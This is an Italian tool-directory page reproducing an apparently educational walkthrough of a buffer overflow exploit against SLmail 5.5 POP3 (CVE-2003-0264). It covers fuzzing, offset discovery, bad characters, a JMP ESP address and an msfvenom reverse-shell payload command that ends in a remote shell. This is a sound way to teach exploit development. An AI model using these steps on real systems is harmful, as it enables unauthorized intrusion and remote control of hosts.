Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2003-0264_EXPLOIT — Buffer overflow in Seattle Lab Mail (SLmail) 5.5 - POP3 | Kitploit
Strumenti/GitHubGitHub/vrikodar/cve-2003-0264_exploit
ExploitShellcodeDebuggerFuzzingPenetration TestingApprendimento e FormazioneSviluppo PayloadBinary Exploitation
GitHubvrikodar/cve-2003-0264_exploit

CVE-2003-0264_EXPLOIT

Buffer overflow in Seattle Lab Mail (SLmail) 5.5 - POP3

Vedi Repository
55 anni faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2003-0264_EXPLOIT

Buffer Overflow in Seattle Lab Mail (SLmail) 5.5 - POP3

Semplice buffer overflow basato sullo stack passo dopo passo

1) FUZZ dell'applicazione

Nel primissimo passaggio eseguiremo il fuzz dell'applicazione con un semplice script Spike

nel frattempo avremo anche SLmail collegato[ed in esecuzione] al debugger Immunity

Altro su Spike:: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/

Qui c'è un semplice script Spike chiamato spike_fuzz.spk

lo eseguiremo contro l'applicazione usando il comando

root@kitploit:~
  line_send_tcp 192.168.1.117 110 spike_fuzz.spk

dove 192.168.1.117 è l'IP della macchina target che esegue SLMail, in ascolto sulla porta 110

Capture

Nel frattempo, guardando Immunity, vedremo che l'applicazione è andata in crash

Capture

2) POC per replicare il crash

Ora creeremo un POC in Python che replica il crash e calcola i byte in corrispondenza dei quali l'applicazione va in crash

root@kitploit:~
           python poc_crash.py

Capture

3) Trovare l'offset

Per trovare l'offset utilizzeremo msf

root@kitploit:~
      1. Prima genera un pattern
      2. Annota l'EIP
      3. Interroga quell'EIP e la lunghezza con MSF per trovare l'offset

msf-pattern_create -l 2700

Capture

In poc_offset.py utilizzeremo questo pattern come nostro buffer di overflow!

root@kitploit:~
       python poc_offset.py

Capture

A questo punto annotiamo anche il valore dell'EIP in Immunity, dove l'applicazione è andata in crash e si è messa in pausa

Capture

root@kitploit:~
        L'EIP è 39694438
        ::Per trovare l'offset::
        
        msf-pattern_offset -l 2700 -q 39694438

Capture

l'offset è 2606, cioè 2606 byte prima di raggiungere l'EIP::: e l'EIP stesso è lungo 4 byte

4) Controllo dell'EIP

Ora proveremo a sovrascrivere l'EIP con 4 B, cioè:: in Immunity dovremmo vedere 42424242 {Hex per 4 B}

root@kitploit:~
        python poc_eip_control.py

Capture

E ora, se controlliamo Immunity

Capture

5) Trovare i bad character

Per mantenere le cose semplici e brevi

Puoi eseguire lo script poc_badchars.py e poi trovare i bad character da solo

Per farla breve

Questa applicazione ha due bad character {che sono anche quelli predefiniti}. Quando eseguiamo poc_badchars.py la prima volta, vedremo che il carattere \x0a fa i capricci, quindi lo rimuoveremo dal nostro payload di bad char e rieseguiremo lo script ,,, la seconda volta vedremo che il carattere \x0d viene saltato, quindi questo è il nostro secondo bad char e lo rimuoviamo dal payload :: dopo questo, quando eseguiamo lo script la terza volta, tutto è chiaro e funziona!

root@kitploit:~
        i badchars sono :: \x00\x0a\x0d
        {null byte, avanzamento riga, ritorno a capo}

        python poc_badchars.py

6) Trovare il modulo e l'indirizzo giusti

Prima troviamo il modulo giusto usando i moduli Mona in Immunity

root@kitploit:~
              slmfc.dll è il candidato più adatto perché non ha protezioni di memoria!

Capture

e ora troviamo un indirizzo JMP ESP in questa DLL

Questo indirizzo verrà scritto in EIP in modo da poter reindirizzare l'esecuzione del programma verso ESP, che comporterà l'esecuzione del nostro shellcode!

root@kitploit:~
        !mona find -s "\xff\xe4" -m slmfc.dll
        
        {\xff\xe4 opcode equivalente di JMP ESP}

Capture

tra 19 indirizzi puntatore scegliamo il primo

7) Ottenere una shell

Ora metteremo tutto insieme e otterremo una shell

root@kitploit:~
              1.) genera lo shellcode {escludendo i badchars}
              2.) aggiungi l'indirizzo trovato {ricorda il Little Endian}
              3.) aggiungi il buffer, l'indirizzo di ritorno, qualche nop-sled, lo shellcode
              4.) abbiamo una shell

Generiamo rapidamente lo shellcode usando msfvenom

root@kitploit:~
        msfvenom -p windows/shell_reverse_tcp LHOST=<lstening-ip> LPORT=<listening-port> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

Capture

Mettiamo tutto insieme nel file exploit.py

Capture

Ora, questa volta, eseguiamo SLmail senza Immunity e ascoltiamo anche le connessioni in arrivo simultaneamente

Una volta fatto questo, eseguiremo lo script exploit.py finale!

Capture

ECCELLENTE, ABBIAMO UNA SHELL!

Scarica lo strumento